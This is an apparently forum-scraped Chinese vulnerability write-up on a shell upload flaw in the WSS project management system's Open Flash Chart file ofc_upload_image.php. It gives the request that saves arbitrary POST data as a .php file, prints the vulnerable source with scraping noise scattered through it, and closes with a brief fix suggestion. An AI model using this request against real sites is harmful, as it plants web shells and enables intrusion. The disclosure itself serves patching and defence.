WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php

8 u9 H7 c9 A* ~  j; ~利用：
4 ?# D' I' E, @- d/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

/ j( F0 V7 o7 K: J1 C2 aPost任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php
1 M' h2 g' Z0 s5 l4 v. W

最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

<?php

: f" }: m4 S3 c- Z' C//
// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
& f: f; q- x0 Y2 Q. B8 c//
  \: \  R/ k9 p3 E
/*
3 T$ i- R5 r) p) P" G) U. x
" |7 @: g, A7 y3 M5 I0 |: ]+ |* [print_r( $_GET );
+ N) t3 Q& G" y/ `& _print_r( $_POST );
1 r# |& E' B/ N* s4 K" Uprint_r( $_FILES );
6 U- ]8 J7 x0 |; E6 K  T, F
print_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

* c# Q! O' v- H6 G/ N! `) A% }( k*/
// default path for the image to be stored //
$default_path = '../tmp-upload-images/';
5 l# ?& O4 O( z* W+ c( G6 x# i3 C
9 k  U+ i! `! L* U  Aif (!file_exists($default_path)) mkdir($default_path, 0777, true);

" t  C5 k+ c" B4 v// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );

: w5 i% z4 G# s+ d9 b; ?  n7 vecho 'Saving your image to: '. $destination;
* {" Z/ ?$ p' D$ }7 G- {% T// print_r( $_POST );
  G7 }. _2 }: r9 k& K6 F// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;

//
" Y3 h8 b, S, K8 Y$ L// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
- e' M  M/ J2 c1 M* C; o// the raw bits into $HTTP_RAW_POST_DATA
//

$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

//
& e2 [* s0 Q& M5 L! v  _// LOOK:
//
* C" m* k' a' dexit();
/ F* {2 ~0 h7 w) M' y; i  I% i//
4 d2 `# Q; O: J- w1 ]& Z// PHP5:
& ]; |; Y/ L* N4 {& Z//
) i; i+ g  _5 p8 p4 @% v
+ Q: u' t/ l: V! K! k& V, `
3 B+ V: \0 D# b$ K: e// default path for the image to be stored //
* g0 Q% R% m6 z+ q% {- a$default_path = 'tmp-upload-images/';
' a/ S& }: G/ ?% h, w
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
- L1 V$ d1 b/ I8 ^/ m1 b4 F
+ d  m6 h% ^6 v' Q/ L// full path to the saved image including filename //
5 U7 C) u; L) q+ ^) b$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

- Z; V" }5 M; g// move the image into the specified directory //
& i( G+ t: [( Q& Oif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
5 I$ W  d2 S* \0 V; r7 ?} else {
    echo "FILE UPLOAD FAILED";
& M. W9 |" ]$ E; ?" |* i}
2 D7 q0 ^: d5 F

?>





) T! M6 B3 m. j6 c: Y' [# Y+ q6 [" {
, M; [+ p; }* V0 B2 z0 C3 a) X4 y修复方案：
" F# G. }% ]% j2 ~- @这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞

2 f7 F( ?5 Q% D1 ^' K